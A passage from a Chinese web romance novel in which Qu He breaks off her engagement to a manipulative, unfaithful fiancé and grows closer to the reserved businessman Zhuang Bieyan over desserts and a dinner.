而一旁的庄禧在听到他说的话后,也停下了嘴巴,眨着大眼睛好奇地看着她。
被四只大眼睛看着,曲荷脑袋一打结,把心里想的话说了出来:“没想到庄总这么疼外甥女...将来有了女儿一定很幸福...”
嘴在前面说,脑子在后面追。
话落,曲荷就后悔了。
果不其然,在听到她的话后,庄别宴眉心微动,似笑非笑地看了她一眼。
曲荷耳根子发烫。
难不成庄家是那种重男轻女的古板家庭?毕竟有三百二十一条家规。
慌乱中她又补了句,“儿子..儿子也是..”
越描越黑。
曲荷恨不得把脸埋进面前的蛋糕盘子里。
庄别宴把她的反应尽收眼底,灯光倒映下,琥珀色的瞳孔像颗融化的蜂蜜糖。
“我尊重我太太的想法。”他直直盯着曲荷,声音却轻如微风拂过耳畔。
“女孩男孩我都喜欢,但...”他稍稍坐正,身子微微一动,手表折射出一道微妙的光,“但她,永远是我的第一顺位。”
这句话明明不是对她说的,曲荷却莫名觉得脸像是烧起来了。
她低头手忙脚乱整理了下纸巾,拿起勺子挖了口巴斯克蛋糕。
入口瞬间,听见头顶传来一声轻笑,烫得曲荷捏着勺子的手差点松开。
店里的音乐恰好切到了《Try》。
悠扬的钢琴音伴着慵懒的男声唱着“...If I say you''re the one,would you believe me? If I ask you to stay,would you show me the way? Tell me what to say so you don''t leave me...”
庄禧又埋头吃起了蛋糕。
曲荷余光瞥见庄别宴架在桌沿的手。
那双手刚才几乎环住她的肩膀,而现在却有一下没一下轻扣着桌面。
节奏逐渐和音乐同频。
小庄禧很快就把两份甜品光盘,她放下勺子往后一靠,拍了拍圆滚滚的小肚子,舌头舔了圈嘴巴显然意犹未尽。
“您好,这是您刚才点的杨梅荔枝蛋糕和黑咖啡。”
店员小姐姐端着托盘走了过来。
小庄禧眼睛瞬间发亮,整个人都快扑上去了。
但她还是非常礼貌地问了句,“姐姐,我们刚才没有点这个。”
店员小姐姐扬起微笑,“是这位先生在你们上楼后下单的,杨梅荔枝蛋糕是我们今天才上的新品哦。”
庄禧兴奋得就差当场跳起来了。
“舅舅舅舅,蛋糕是给我点的吗?”
庄别宴端起咖啡杯,浅抿了口,“上周是谁牙疼到睡不着?”
小庄禧瞬间蔫了。
庄别宴轻挑眉梢,推过盘子,“只能吃一口。”
又复活了。
曲荷看着这对舅甥互动,嘴角不自觉上扬。
“好吃!”庄禧突然凑了过来,把杨梅蛋糕推到她面前,“曲姐姐,你也尝尝。”
曲荷:“啊?”
她下意识又是拒绝。
小庄禧捂着胸口一脸心痛,“舅舅不喜欢吃甜食,禧儿只能吃一口,曲姐姐也不吃的话就太浪费了。”
曲荷被逗笑,拿起叉子切下一角蛋糕。
久违的甜意在舌尖炸开,泛起了一丝年少记忆的酸甜。
杨梅。
小时候外婆家的院子旁就有棵杨梅树。
“不合口味?”
庄别宴突然问。
曲荷摇摇头,“很好吃,只是..我很久没吃甜品了。”
今天,她终于又尝到了“喜欢”的味道。
庄别宴的目光在她脸上停留了几秒,似不经意开口,“我还以为曲小姐不喜欢吃杨梅。”
曲荷抬眸,正好对上他的目光。
第17章 钱昭野再次上门
一旁的小庄禧听到这话‘咦’了声,歪着脑袋问:“曲姐姐,你不喜欢吃杨梅吗?”
曲荷放下勺子,揉了揉她的小脑袋,笑道:“姐姐当然喜欢吃杨梅啦。”
她的声音不自觉放柔,带着几分怀念。
“小时候,姐姐的外婆家边上就有杨梅树,每到夏天杨梅熟透的时候,姐姐还会爬到树上摘杨梅呢。”
小庄禧眼睛瞬间亮了,满脸崇拜地竖起两个大拇指,“曲姐姐好厉害!下次禧儿也要去爬树摘杨梅!”
曲荷一愣。
完蛋!
带坏小孩了!
她连忙摆手,一脸严肃地找补:“小朋友不可以爬树哦,摔下来是很危险的。”
小庄禧晃着脑袋,“可是禧儿家里就有杨梅树啊,还是舅舅种的。已经好多年了,比禧儿还大呢!”
曲荷:“?...”
她下意识看向庄别宴,没想到端方如玉的庄家玉树,还有种树这爱好?
庄别宴依旧神色淡淡,只是在曲荷望过来的时候眉梢微动,“嗯,种了十年。”
十年?
曲荷怔了怔。
十年前的庄别宴才...18岁?...19岁?
她还没来得及细想,旁边的庄禧又靠了过来,“曲姐姐,等杨梅结果子了,你来家里和禧儿一起摘杨梅好不好?”
曲荷:“....?”
去庄宅?
她瞳孔震了震。
看了眼发出做客邀约后已经兴奋地开始掰着手指头数日子的庄禧。
她在心里疯狂摇头。
拒绝!
曲荷正想着该怎么婉拒,就听到对面的庄别宴突然开口,嗓音低沉却又无比清晰:
“杨梅结果之日,欢迎曲小姐来家做客。”
曲荷:“.....”
这下是真的不好拒绝了。
她扯出微笑,点了点头。
心里却想着,小孩子忘性大,估计过几天就把这件事忘了,到时候再找个理由推掉就是了。
可她却万万没想到,这一去,竟然把自己也搭了进去。
玻璃窗外,夕阳逐渐沉入高楼。
桌上的甜品早已光盘,唯独庄别宴面前的黑咖啡纹丝未动。
店员小姐姐上楼礼貌地提醒他们即将打烊。
三人起身离开。
庄禧打听了她家的住址后,想送她回家,却被曲荷两次婉拒了好意后只好作罢。
曲荷在路旁等网约车。
似有所觉,回头一望。
庄别宴正把庄禧送上后车座,高大的身影立在车旁。
华灯初上,光晕勾勒出他挺拔的身姿。
曲荷心头莫名一跳,匆忙收回视线,钻进了刚好停在面前的网约车里。
...
深夜,曲荷又再次做了那个梦。
梦里,她回到了小时候,爬上了外婆家边上的那颗杨梅树。
她站稳身子后踮着脚去够头顶那颗熟透的杨梅,却脚下一滑,从树上摔了下来。
预想中的疼痛并没有到来,她摔到了一个人身上。
她抬头想要看清对方的脸,可梦里的一起都是模糊不清,视线像是蒙了一层雾,唯独那个人的怀抱踏实又温暖。
可这一次,不知哪里吹来一阵风,梦里的雾气逐渐散开。
那张脸逐渐清晰。
琥珀色的双眸,高挺的鼻梁...
是庄别宴!
曲荷猛然惊醒。
晨光熹微,透过窗帘缝隙洒了进来。
她怔愣地坐在床上,等着心跳恢复平静。
这个梦她之前也做过,可那张脸始终模糊不清。
为什么这一次...会变成庄别宴?
曲荷趿着拖鞋走到卫生间,捧着水泼到脸上,拍了拍脸颊。
一定是昨天那份杨梅蛋糕在作祟。
一定是!
...
周末两天荷月坊接待了一个二十人小团队。
到了周一,司月老板大发慈悲终于决定休息一天,两人约着在曲荷家里吃烤肉。
天气预报说北城已经进入梅雨季。
果不其然,临近中午大雨来势汹汹,周边的地铁被迫停运,两人吃完烤肉雨势才稍稍变小,司月赶紧打了车回家。
曲荷正在收拾餐桌,听到门铃响了。
“落下什么了……”她以为是司月忘了东西,小跑过去开门。
门开的一瞬间,她怔住了。
钱昭野站在门前,西装革履,单手捧着一束玫瑰。
不是卡布奇诺,是粉荔枝。
曲荷恍惚了一瞬。
“这么意外?”钱昭野轻笑一声,捧花的手换了一只,另一只手伸过来,想牵她。
曲荷后退一步,躲开了。
钱昭野眸色一沉,咬了下后槽牙,直接迈步进门。
“你怎么来了?”曲荷关上门,问了句。
钱昭野没回答,目光在屋内扫视一圈,最后落在餐桌上。
在看到餐桌上还没来得及收拾的两人份的烤肉餐具后眼神一暗,他把花随手丢在玄关,语气带着几分不悦:“我不能来吗?”
曲荷看着他,忽然觉得可笑。
“你从前几乎不来。”
白玉湾的房子是大学毕业后爸爸妈妈给她买的,两室一厅,不算大,却是花了老两口大半辈子积蓄。
两个普通教师能存下钱在北城三环内买下这套房,背后的辛酸她当然知道。
当时他们把钥匙交到她手里的时候,只说是她一个刚毕业的女孩子在北城租房不安全,有了这套房子至少也是在北城有了家。
可是和钱昭野在一起的这几年,他却嫌弃“房子太小”,“地段太偏”来的次数屈指可数。
可现在他却堂而皇之地站在这里,仿佛理所当然。
钱昭野表情僵了一瞬,很快又换上那副温柔假面:“这里是有点远,我已经和家里商量好了,我们可以先搬进婚房。”
他刻意咬重了‘婚房’两个字,话里带着几分诱惑。
婚房?
曲荷扯了扯嘴角:“这里挺好的。”
钱昭野眼底闪过一丝不耐,但很快又压下,伸手想摸她的脸:“阿荷,你休假已经很久了,该回来了。”
曲荷侧头避开,他的手指悬在半空,尴尬地收了回去。
钱昭野心里涌上一股烦躁。
曲荷休假的这段时间,他一开始确实觉得自由,和乔眠也不再那么提心吊胆,安达的工作能力也不差,但总是感觉缺了什么。
乔眠不会像曲荷一样细心,不会像她一样把文件按照先后紧要顺序摆放,不会在开会休息间隙递上一杯蜂蜜水,也不知道他喝咖啡要加单份奶,不吃香菜的喜好。
他甚至……前几天才知道自己居然对亚麻过敏。
那天乔眠给他准备的亚麻衬衫,差点让他在客户面前出尽洋相。
钱昭野才发现,原来曲荷早就把他的习惯刻进了骨子里,而他也早已习惯了曲荷在自己身边,照顾他的衣食起居。
但让他今天冒雨来找她的原因,是因为在公司里听到的传言。
第18章 这婚,不结了!
有人说前两天看到曲荷和一个男人在甜品店,举止亲密,像是她的未婚夫。
钱昭野心里从庆幸没人发现他和曲荷的关系,很快又转变成了嫉妒。
曲荷居然和别的男人在甜品店?
他的东西,怎么能被别人染指?
强烈的落差感才让他今天亲自找上了门。
曲荷站在原地,冷冷看着他。
在一起七年了,钱昭野心里有几斤几两她还不清楚吗?
明明这段日子已经看到了曙光,可一切都在他出现的这一刻又毁了...
“我不回去了。”曲荷声音平静得不像话。
钱昭野皱眉,像是没听懂她的话,“什么叫做不回去了?你休假时间已经很久了,难不成你还要辞职?”
曲荷没说话,默认了。
钱昭野深吸一口气,忍着怒意问出了那句,“曲荷,你是不是出轨了?”
外面的雨势再次变大,雨点拍打着玻璃。
曲荷能听到胸膛逐渐急促的心跳,她盯着他,“钱昭野,你什么意思?”
“那个和你在甜品店的男人是谁?”钱昭野逼近一步,眼神阴鸷。
“你跟踪我?”曲荷气得声音抖了几分。
“所以你承认了?你突然穿裙子,休假,是不是都和他有关?”
那些曾经他怀疑奇怪的细枝末节,在这一刻全化作了指责的罪证。
“这几天休假你去做了什么?你今天请了谁到了家里在吃饭?是不是..那个男的,你们到哪一步了?”
钱昭野气急败坏,大步上前,一把掐住她的肩膀,力道大得让她疼得皱眉。
哗哗的雨声中,曲荷能听到他逐渐粗重的呼吸。
太讽刺了。
他可以在婚房里和乔眠翻云覆雨,她却不能和别人在外面吃一顿甜品。
这个人怎么可以带着这么大的恶意来揣测她,怎么可以这么坦然自若地把脏水往她身上泼?
她究竟为什么会喜欢上这个,烂人!
曲荷用力把他推开,声音冷得像冰:“钱昭野,你别把我想得和你一样。”
钱昭野表情一僵,想到了公司最近有风声传出他和乔眠的事。
“你是不是听到了什么?”
他急忙否认,想去拉她的手,“那都是谣言,假的..”
曲荷冷哼一声,打断他的话,“为什么同样的话,在我这里就是出轨,到了你那里就变成了谣言?”
曲荷气笑了,一把打开他伸过来的手,“你听听这话,觉得公平吗?像话吗?”
钱昭野被下了面子,语气强硬:“曲荷!别咄咄逼人!”
窗外一道闪电劈过,打亮了钱昭野虚伪的半张脸。
他扯松领带,稳住情绪,装出一副宽容,“刚才那些话我当没听过,你明天必须来公司上班!”
曲荷冷笑。
钱昭野,你还是这副高高在上的姿态,好像这句话是一种恩赐!
曲荷再也忍不下去了,“钱昭野,你这么想让我回去,是衣服穿得不舒服了?还是饭菜不对胃口?又或者是文件没人整理了?”
钱昭野瞳孔骤缩,像是被戳中了痛处。
曲荷:“钱昭野,你真把我当成你保姆了?”
钱昭野声音拔高,带着几分不可置信,“曲荷,你知道自己在说什么吗?”
他指着外面的雨,“今天我冒着这么大雨带着花过来找你,你现在和我说这些?你心里还有没有我?”
曲荷一字一句道:“是我让你来的?是我让你送花的?你这些话只能感动你自己。”
她看向玄关那束粉荔枝,忽然觉得讽刺至极。
“钱昭野,其实你一直能分清卡布奇诺和粉荔枝吧?”
钱昭野脸色闪过几分不自然,硬撑着狡辩,“你为什么老是在意这些虚无的东西?”
曲荷再一次佩服起他的诡辩能力。
钱昭野:“两种花都差不多,而且我给你选的卡布奇诺玫瑰还更贵一点,这还不显得我的诚意吗?再说这次我不是给你选了你喜欢的吗?”
“差不多..”曲荷轻声重复着三个字,觉得可笑至极。
她看着这个爱了七年的男人,声音很轻却带着莫名的重量:
“钱昭野,在你喝到加了两份奶的咖啡,吃到加了香菜的饭菜,穿到亚麻材质的衣服后,你还觉得‘差不多’吗?”
钱昭野表情凝固了,张了张嘴想说什么。
曲荷深吸一口气,“其实不是它们‘差不多’,而是你觉得我‘差不多’就行。”
她推了他一把,指着门口:“我家不欢迎你,出去。”
钱昭野彻底被激怒,声音拔高:“曲荷!你不要得寸进尺!你这样婚还怎么结?”
“那就不结了。”曲荷听到自己说。
语气平静得像是在说明天还是个雨天。
空气瞬间凝固。
钱昭野像是被雷劈中,愣了几秒,咬牙切齿道:“你知道自己在说什么吗?”
他大步上前,语气带着几分虚假的痛心:“曲荷,你最近变得我都快不认识了。又是辞职又是不想结婚,你到底想要什么?这几年我给你的还不够多吗?”
他放慢语调,像是洗脑一般:
“你想想,这几年我们之间谁付出得多?扪心自问,我对你够好了吧,花在你身上的时间精力比我父母都多。我知道有时候我也会犯错,可难道你要因为我的一点不好,就忘记我所有对你的好?”
“你再想想这几年,我们一步步走过来,马上就要结婚了,我希望你能多理解我一点,多体谅我一点。我也不要求你像那些富家千金一样给我事业上的支持,只要你安心陪在我身边就好了。”
曲荷站在原地,全身冰凉,耳膜嗡嗡作响。
他又在PUA她。
她看着他一张一合的嘴,觉得陌生至极。
七年。
她付出了七年,换来的就是他理直气壮的“PUA”。
钱昭野见她沉默,以为她被说动了,露出几分胜券在握的笑。
“阿荷,听话。刚才那些话我就当没听过,你如果想再休息几天也可以,但……”
“滚。”曲荷的声音带着几分嘶哑。
钱昭野愣住:“什么?”
“滚!”
她抓起玄关上的花,狠狠砸向他的胸口。
包装纸破裂,粉色花瓣散落一地。
像是发泄般,曲荷不顾思考,抓到什么就扔什么
纸巾、钥匙、相框摆件...
钱昭野来不及躲避,硬生生挨了好几下,被砸得踉跄后退好几步,皮鞋踩在掉落的花瓣上,碾出粉红的汁液。
钱昭野终于仓皇退到门外,曲荷“砰”的一声关上门。
隔绝了他的气急败坏。
世界终于清净。
曲荷握着门把手,额头抵着门板,大口大口地喘息。
地板上,玫瑰花瓣凌乱地躺着,满地狼藉,像极了她破碎的七年青春。
窗外,暴雨依旧。
但这场下了七年的雨,
终于停了。
钱昭野离开后,曲荷收拾完卫生,一觉睡到下午。
醒来时,已是雨过之后。
暴雨的阴沉散去,晚霞从东边烧到西边。
强烈的情绪刺激过后,头疼得厉害。
曲荷揉了揉太阳穴,摸过手机想看时间。
屏幕亮起瞬间,弹出一条微信新消息。
曲荷迷迷糊糊的大脑在看到发送人后,清醒了大半。
第19章 曲小姐,一起吃个饭?
庄别宴:【曲小姐,我正在白玉湾门口,是否方便进来?】
曲荷盯着这行字看了足足十秒。
庄别宴?
他怎么会来白玉湾?
她下意识坐起身,手指在键盘上敲了又删,删了又敲。
正当她犹豫时,又一条消息跳出来:
庄别宴:【上次庄禧弄脏了曲小姐的裙子,今日顺路带了一条新的过来。】
曲荷一愣。
只是一点点眼泪而已...
她赶紧回复:【没关系,裙子已经洗干净了】
消息发出去,庄别宴几乎是秒回:【车已经开进来了,在哪一幢?】
曲荷懵逼,不敢让庄别宴多等。
手上动作比脑子快,打出了门牌号。
五分钟后,门铃响了。
曲荷过去开门。
门外,庄别宴带着金丝眼镜,简单的基础款白衬衫系进腰间,黑色暗纹领带搭配金属领针一丝不苟系在颈间。
相比之下,手上那两个粉色纸袋显得有些……违和了。
曲荷认出其中一个印着PADA标志性logo。
见到她,庄别宴微微颔首,“曲小姐,冒昧打扰。”
曲荷礼貌一笑,“庄总太客气了,还亲自过来一趟。”
她侧身让出通道,庄别宴却站在原地没动。
他站在门外,目光在她略红肿的眼角上停留了一瞬,声音比平时低沉:“方便吗?”
“当然。”曲荷顿了顿,补充,“我一个人住,家里没有男士拖鞋,您直接进就好。”
庄别宴眉梢微不可察地动了一下。
在他迈步进屋的时候,带进一阵淡淡的雪松香。
曲荷带着他到客厅沙发。
庄别宴目光始终落在前面,没有四处打量房间布局。
在走到沙发前停下后,他把手里的袋子递给她。
“曲小姐上次穿的裙子断货了,只能买了条相似款式,请不要介意。”
曲荷接过,瞥见袋子上的烫金logo,这价格能买好几条了。
“庄总太客气了。”她声音发紧。
庄别宴的目光在她脸上停留了几秒,很快移开,“曲小姐穿上会很好看。”
他转头又从另外一个袋子里取出一个蛋糕盒,“上次看曲小姐喜欢吃PADA的杨梅蛋糕。顺路带了一份。”
曲荷愣住。
又是顺路?
可是PADA和白玉湾根本不在一个方向。
庄别宴像是看穿她的疑惑,淡淡解释:“我先去的荷月坊。”
曲荷恍然,紧绷的肩膀微微放松。
原来是先去店里找她,碰巧遇上休息才来了白玉湾。
庄别宴把蛋糕放在茶几上,语气自然:“初次登门,没有空手的道理。”
不愧是庄别宴,绅士的无可挑剔。
曲荷再次道谢,把蛋糕放进冰箱后,又给他倒了杯水。
两人坐在沙发上,气氛有些凝滞。
庄别宴的存在感太强,明明只是坐在那里,却让她这间90平的小房子瞬间升了好几个level。
“曲小姐。”庄别宴突然开口,声音惊得她指尖一颤,“今天来其实有件事想请你帮忙。”
曲荷:“?”
帮忙?
她?
曲荷脑中闪过无数可能。
庄家要办宴会需要陶艺装饰?
庄禧还想学陶艺?
总不能是谭特助辞职,他缺秘书了吧...
“一周前,我的手表落在了荷月坊里。”庄别宴抬眸看她,眼神深邃,“不知曲小姐是否见过?”
曲荷愣了愣。
上次庄别宴来做陶艺时,确实摘过手表...但具体放在哪里?她完全没印象。
没有第一时间发现顾客遗漏物品,确实是荷月坊失责。
“实在抱歉庄总。”她面露歉意,“等找到后我第一时间联系您。”
庄别宴:“是我自己不小心。”
话题到此为止,气氛恢复尴尬。
庄别宴喝了口水后放下杯子,他看了眼腕表,“那我就不打扰了。”
曲荷心里松了口气,送他到门口。
走到玄关处时,庄别宴突然转身。
曲荷猝不及防,差点撞进他怀里,还好在快撞进他怀里的时候,刹住了脚步。
淡淡的雪松涌入呼吸,她耳根子烫了下,因此没有注意到庄别宴收回了伸出一半的手。
“曲小姐等下还有安排吗?”他声音比刚才低了几分。
“啊?”
“上次庄禧的事情,她妈妈托我道谢。”
庄别宴的目光落在她蓬松的发顶,攥了下空气拳头,“不知道今天是否有空一起吃个饭?”
吃饭?
和庄别宴?
只有他们两个人?
不要!拒绝!
上午钱昭野那场闹带来的刺激还没完全消散,情绪影响了胃,根本没有食欲。
“小禧妈妈太客气了。”她笑了笑,婉拒,“实在不巧,我等下...”
庄别宴似乎早已料到她会拒绝,淡淡开口,“今天不方便的话,下次可以来庄宅,正好她妈妈想当面道谢。”
他镜片后的眼睛微微眯起,“上次庄禧的事情算庄家欠的人情。”
最后两个字咬得极重。
去庄宅?
人情?
曲荷到嘴的拒绝迅速转了个弯,“我今天正好有空。”
她挤出一个微笑,指了指卧室,“稍等,我去换件衣服。”
转身的瞬间,她没看见庄别宴眼中一闪而过的笑意。
曲荷再出来时,换了件无袖米色荡领上衣,搭配浅咖色高腰裙,出门时她顺手拎起门后的黑色垃圾袋。
垃圾袋口有些松,玻璃相框残片刺破了垃圾袋,几片花瓣掉了出来。
曲荷又拿了个垃圾袋套上,打了个死结。
抬头在撞上庄别宴深不见底的目光时,欲盖弥彰解释,“上午大扫除...不小心打碎了花瓶和相框。”
她呵呵干笑两声,“家里这些东西摆放还是要小心哈..."
庄别宴浅浅点了下头,突然俯身靠近。
曲荷呼吸一滞。
他长臂一伸,按了下行电梯键。
“独居是要注意安全。”
他声音轻得像耳语,温热的气息拂过她耳廓,“必要时,可以选择报警。”
电梯下至一楼。
黑色迈巴赫安静停在不远处。
曲荷本能走向后座,庄别宴却已经拉开副驾驶车门,手臂横在门框上方。
“上车。”
第20章 晚安。曲荷。
简简单单两个字却带着几分不容拒绝。
曲荷只好弯腰入座。
凉凉的晚风穿过,扬起的发丝掠过庄别宴手腕,很快消失。
那一瞬间的触碰轻得像是错觉。
庄别宴喉结微动,搭在门把手上的手指微微收紧。
他不动声色地关上门,绕到驾驶座。
“想吃中餐还是西餐?”他单手搭在方向盘上,问。
“都可以。”曲荷说。
“那我决定了?”
“好。”
引擎启动。
后视镜的方框,把晚霞裁成一幅流动的金粉色油画。
....
迈巴赫内,空气安静得近乎凝滞。
曲荷侧头望着窗外,指尖无意识地摩挲着安全带,她好像都能听到自己的心跳声。
有点尴尬。
绿灯变红,车停。
曲荷终于忍不住打破沉默,脑袋里过了一遍终于找到了个话题:“庄总,小禧的陶瓷再过半个月应该就能拿了。”
庄别宴搭在方向盘上的手指轻轻敲了下,嗓音低沉:“好。”
好冷漠无情冰冰凉凉的一个字。
这是什么话题终结者。
曲荷悄悄抠了下掌心。
“那个...”
她刚想再找个话题,庄别宴却忽然开口:“曲小姐,我很吓人吗?”
“啊?”曲荷一怔,转头看向他。
庄别宴突然转头看着她,镜片后的眸光闪过一丝涟漪:“如果我有什么地方让你觉得不舒服,可以告诉我。”
曲荷猝不及防,连忙摆手:“没有没有,怎么会。”
庄别宴唇角微不可察地勾了下,指尖轻点方向盘:“那就好。”
他抬手按下音乐播放键,“要听音乐吗?”
“可以。”
粤语女声缓缓流淌而出,“无情人做对孤雏,暂时度过坎坷....”
绿灯亮起,迈巴赫重新汇入车流。
音乐带走了几分紧绷的空气。
曲荷悄悄舒了口气,放松了些,这才后知后觉地意识到,刚才庄别宴应该是看穿了她的不自在,所以说过那些话在照顾她的情绪。
这个男人,细致得可怕。
迈巴赫在路口转弯。
曲荷看着窗外逐渐倒退的街景,问:“这是往十安街的方向?”
“嗯。”
庄别宴目视前方,忽然顿了顿,“一个朋友刚开的餐厅。”
他语气平静,可曲荷却还是捕捉到了他话里有一瞬间的卡顿。
直到车子停下,她看到招牌后,才明白他刚才为何欲言又止。
金灿灿的招牌上,龙飞凤舞刻着三个烫金大字:
郁膳房。
飞檐斗拱下是一扇朱红色大门,两侧是两尊鎏金貔貅。
这取名....
这风格....
实在...别具一格。
“庄先生。”一位穿着黑色制服的经理快步迎上来,恭敬道:“庄先生来了怎么不提前说一声?”
庄别宴神色淡淡:“临时起意。”
经理点了下头,目光在曲荷身上短暂停留,又迅速压下眼底的惊讶:“郁二少吩咐过,三楼的春庭月除了庄先生不对外开放,两位请。”
经理躬身引着两人进门。
曲荷跟着他们穿过蜿蜒回廊,假山流水旁有一座凉亭,传出古筝淙淙。
回廊尽头是一楼大堂,经理带着两人从另一头上电梯到了三楼。
三楼都是单独包间。
经理跟曲荷介绍,包间门口铺着的都是苏绣真丝地毯,上头的门牌都是郁二少找了国学大师亲自提的。
曲荷看着一路走过的门牌,“雨霖铃”,“醉芙蓉”,“如梦令”,“春庭月”...
这和门口的烫金招牌放在一起,居然有一种荒诞的...和谐。
简直就是把大俗大雅做到了极致。
曲荷对这个郁二少有些好奇了。
她突然想到什么,问经理:“这个郁二少,不会就叫‘郁膳’吧?”
经理回头惊讶地看了她一眼:“这位小姐认识我们郁二少?”
还真叫这个?
曲荷惊讶。
经理引着两人进了“春庭月”包厢。
推门就是一扇双面苏绣翠竹屏风,后面是一张胡桃木圆桌,上面竖着两份菜单。
经理点燃檀香,上完茶水和默默关上门退了出去。
两人相对而坐,庄别宴忽然开口:“蒸然汕汕。”
曲荷一怔,没理解他的意思。
可下一秒,脑海中蓦地浮现出一句诗,下意识念了出来,“南有嘉鱼,蒸然汕汕。”
曲荷想到刚才经理一直挂在嘴上的郁二少,又想到之前庄禧说过的手表联系人里的郁阿姨。
“这位郁二少,不会还有个姐姐叫郁嘉鱼吧?”她脱口而出。
庄别宴挑眉,镜片后的眸光微动,似乎对她的回答并不意外。
曲荷自己也愣住了。
她并不记得自己什么时候读过《诗经》,可偏偏对这句诗莫名熟悉。
她低头喝了口茉莉花茶,没有注意到庄别宴眼里一闪而过的复杂。
春庭月包厢内,茶香袅袅。
庄别宴将菜单推到她面前:“有特别喜欢的菜吗?”
“都可以。”她习惯性答道。
庄别宴翻动菜单的手一顿,抬眸看向对座的曲荷,一脸真挚:“人逢于世,一定会有自己的喜好,也会有厌恶。”
他的声音很轻,却字字清晰,带着几分引导:“曲小姐如果找不到真正的喜欢,不妨先迈出第一步,可以都尝试一下。”
曲荷心头一震。
明明他在说菜,可曲荷却觉得他好像又不止在说菜。
但不置可否,庄别宴的话在她心头掀起了波澜。
因为,已经很久没有人问过她“喜欢”什么了,连她自己都快忘了。
在和钱昭野在一起的这些年,她早已习惯刻意压抑自己的喜好,他爱吃什么,她就跟着吃什么,他讨厌什么,她也不去尝试。
她的喜怒哀乐几乎都是围着一个人。
那她自己呢?
她到底喜欢的是什么?
对座的庄别宴看到她认真思考的模样,眼底闪过一丝温柔。
他按了呼叫铃,经理进来后,他点了几道招牌菜放下菜单,然后慢条斯理地品着茶。
包间内的檀香带着几分安宁的效果,曲荷放下心神,突然有些释怀了,一瞬间豁然开朗。
她拿过菜单,认真选起了菜。
这是五年来,她第一次完全按照自己的喜好点单。
点完单后,经理核对好菜单退了出去。
等包间内的檀香燃尽后,第一道菜恰好上桌。
两人默默用餐。
曲荷注意到吃饭时,庄别宴摘下了眼镜。
下一道菜上的是她点的苹果鸭,果木烤鸭香勾起了她的食欲。
曲荷尝了口,眼睛一亮,忍不住点头。
庄别宴唇角微扬:“合口味?”
“嗯!”曲荷点头。
庄别宴轻笑,给她添了半盏茉莉花茶。
曲荷放下筷子说,“确实和庄总说的一样,勇敢尝试就会有惊喜。”
“喜欢就好,其实不止是菜,很多人和事也是一样。”庄别宴看着她的眼睛说。
没有隔着镜片,两人对视,他眼底琥珀色的漩涡带着几分莫名其妙的蛊惑。
曲荷忽然觉得,他话中有话。
“这家店的甜品也不错,曲小姐等会可以试一试。”庄别宴不动声色地转移话题,“郁汕专门请教了法国甜点师。”
曲荷想到刚才他的点菜里,好像是有一道甜品。
曲荷点点头。
她突然想到什么,说:“其实庄总不用那么客气,叫我曲荷就好。”
庄别宴放下筷子,眸光深邃:“凡事讲究礼尚往来。”
曲荷耳根发烫。
这是让她也直接叫他的名字?
她张了下嘴,可那三个字却像是烫嘴一样,在舌尖转了一圈,还是说不出来。
曲荷干脆低头继续吃饭。
对座,庄别宴看着她发顶的小发旋,眼底闪过一丝笑意。
晚餐在一种奇妙的和谐中结束。
一顿饭下来,庄别宴轻松抛出了几个话题,这顿饭吃得也算愉悦。
离开的时候,曲荷后知后觉,这是钱昭野离开后,她第一次感到了真正的放松。
夜色阑珊。
迈巴赫重新停在白玉湾楼下。
曲荷降下车窗,夜风拂过脸颊,带走了最后一丝阴霾。
“谢谢庄…总...”她转头看向庄别宴,顿了顿,“谢谢您今天的晚餐。”
这是她由衷的一句话。
路灯光透过树叶间隙在他脸上投下斑驳的光影。
庄别宴微微颔首:“晚安。曲荷。”
曲荷:“....晚、晚安...”
迈巴赫的尾灯消失,曲荷转身上楼。
她没有注意到,转角处的树下阴影里,一辆黑色迈巴赫如蛰伏的猛兽,停了很久,很久...
第21章 庄别宴,你深藏不漏啊
高尔夫球场休息室。
钱昭野看了眼手表,太阳穴突突直跳,他已经在这里等了七个小时。
敲门声响起,一个西装革履的男人走了进来,脸上挂着程式化的微笑,“钱总,实在抱歉,万总正在接待重要客户,恐怕今天没时间见您了。”
钱昭野下颌线条绷紧,强压着火气:“麻烦转告万总,我愿意让利三个点。”
男子的笑容纹丝不动:“万总说了,今天的行程已经排满。”
休息室门再次关上,钱昭野指节捏得发白。
这个项目原本是曲荷谈下来的,可偏偏这个万总在签约前临时翻脸,宁愿赔付违约金也不答应继续合作。
手机不断震动,钱昭野烦躁地挂断了乔眠打来的电话。
他转头拨通曲荷的号码,那头依旧是冰冷的电子女声:“您拨打的电话暂时无人接听,请稍后再拨...”
“操!”
钱昭野狠狠提了下旁边的椅子。
夜幕降临,钱昭野开车到了尊悦。
门童认出他的车牌,小跑迎上来。
他扔出车钥匙,“老位置。”
电梯上到二楼,钱昭野就撞到了几个熟悉的面孔。
几个同行企业的副总,之前在项目上接触过。
“钱总!巧啊!”为首的张副总挺着啤酒肚迎上来,“听说您今天去找万总了?”
钱昭野没想到消息传得这么快,扯了扯嘴角算是回应。
张副总热情地揽住他的肩膀:“走走走,正好今天有个局,咱们一起。”
电梯直达四楼,钱昭野微微挑眉。
尊悦是北城豪门权势代表,在这里钱只是入场券,权才是王。
“咱们今天可是沾了小凌总的光啊,等会庄别宴也来。”张副总凑过来说道。
钱昭野皱眉:“小凌总?”
“凌霍啊!”张副总挤眉弄眼,“攀上庄家的那位...”
钱昭野一愣。
凌霍,凌氏集团的太子爷,那个不学无术的纨绔子弟。
电梯停在四楼,门开。
包间中央的沙发上,一个穿着白色T恤的年轻人吊儿郎当翘着二郎腿玩手机,听到动静连眼皮都懒得抬。
“小凌总!”张副总立刻堆起笑容凑上去。
凌霍头也不抬地摆摆手。
张副总:“这位是旷野科技的钱总...”
凌霍挠了下耳朵,抬头,目光在钱昭野身上停留了半秒,“行了,都坐吧。”
他声音懒散。
“小凌总,庄总那边...”张副总搓着手,欲言又止。
凌霍终于放下手机,看了眼手表,随手抓过沙发上的西装外套,漫不经心掸了掸,“等会记得都在我后头站着。”
包间门关上的瞬间,几个副总的脸色立刻变了。
“呸!什么玩意儿!”张副总灌了口酒,“不就是抱上庄家大腿了吗?”
“小声点,人家现在可不一般。”
“钱总,要我说,您才是真本事。”张副总突然提高声音,“从零开始做到现在,比那些靠爹的强多了!”
“就是!”其他人纷纷附和。
钱昭野接过递来的威士忌,酒精烧出一股傲气。
他想起自己白手起家的艰辛,而凌霍这样的富二代却可以轻松站在他梦寐以求的高度。
酒精灼烧着喉咙,也点燃了胸中的不甘。
一杯接一杯的酒下肚,钱昭野的视线开始模糊。
恍惚间好像听到了曲荷的名字。
不知道是谁拍着他的肩膀问了句:“钱总,您那个能干的女秘书呢?以前喝酒她都在楼下等着,今天怎么没见?”
